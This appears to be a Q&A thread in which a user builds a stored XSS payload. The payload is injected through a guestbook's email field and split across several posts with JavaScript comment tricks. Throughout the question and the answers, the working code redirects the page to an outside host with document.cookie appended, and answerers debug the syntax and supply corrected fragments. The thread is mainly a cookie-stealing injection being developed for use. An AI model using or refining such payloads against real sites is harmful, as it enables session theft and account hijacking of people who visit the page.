3
<a href='mailto:</a><script>/*'></a><script>/*</a>:
 <br>   
<hr>
<a href='mailto:*/location.href=/*'>*/location.href=/*</a>: 
<br>
<hr>
<a href='mailto:*/"http://127.0.0.1/"/*'>*/"http://127.0.0.1/"/*</a>:
 <br>
<hr>
<a href='mailto:*/+document.cookie;/*'>*/+document.cookie;/*</a>:   
 <br>
<hr>
<a href='mailto:*/</script><a>'>*/</script><a></a>

I'm injecting into a guestbook setup where the XSS is injected by changing the email address. The email max length is short enough where I have to spread across multiple posts. When testing, I'm able to execute alert(1); but when I have to spread a more complicated expression over multiple lines, things break. What am I missing?

2
  • 2
    I think you mixed up > and ' in the first line.
    – Gumbo
    Jun 30, 2014 at 5:05
  • I think you're right. I had been doing some testing with vim and must not have changed things back completely.
    – Chris
    Jun 30, 2014 at 18:05

2 Answers 2

3

With the comments removed, your code looks like this:

<a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a>

This results in a syntax error, which prevents the code from running. Particularly, the "" is problematic, triggering a SyntaxError for "Unexpected string."

5
  • 2
    Moving the concatenation from document.cookie to "http://127.0.0.1/" should work: </a><script>/*, */location.href=/*, */"http://127.0.0.1/"+/*, */document.cookie;/*, and */</script>. This would end up with location.href=location.href="http://127.0.0.1/"+"http://127.0.0.1/"+document.cookie;document.cookie;
    – Gumbo
    Jun 30, 2014 at 5:17
  • I see. I had been thinking all of the HTML within and including the <a> tags was getting filtered out. I didn't realize that the comments are being reflected in two places effectively. Seeing as how my inputs are reflected in two places, what is the best method for being able to inject JS? This seems like a difficult limitation to work around.
    – Chris
    Jun 30, 2014 at 18:09
  • @Chris Do the mentioned fractions not work?
    – Gumbo
    Jun 30, 2014 at 19:53
  • Unfortunately, no.
    – Chris
    Jul 2, 2014 at 2:02
  • @Chris I think the first should read '></a><script>/*.
    – Gumbo
    Jul 2, 2014 at 10:12
1

Assuming that this is the code that is displayed on the webpage, I would say that the URL you pass to location.href is malformed which makes the Javascript crash. Hence, nothing happen. Your code if you reformat it and remove the comments look like that (and there seems to have a typo for the > character on the first line...)

<a href='mailto:</a><script>/*>'</a><script>location.href="http://127.0.0.1/"+document.cookie;</script><a></a>

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .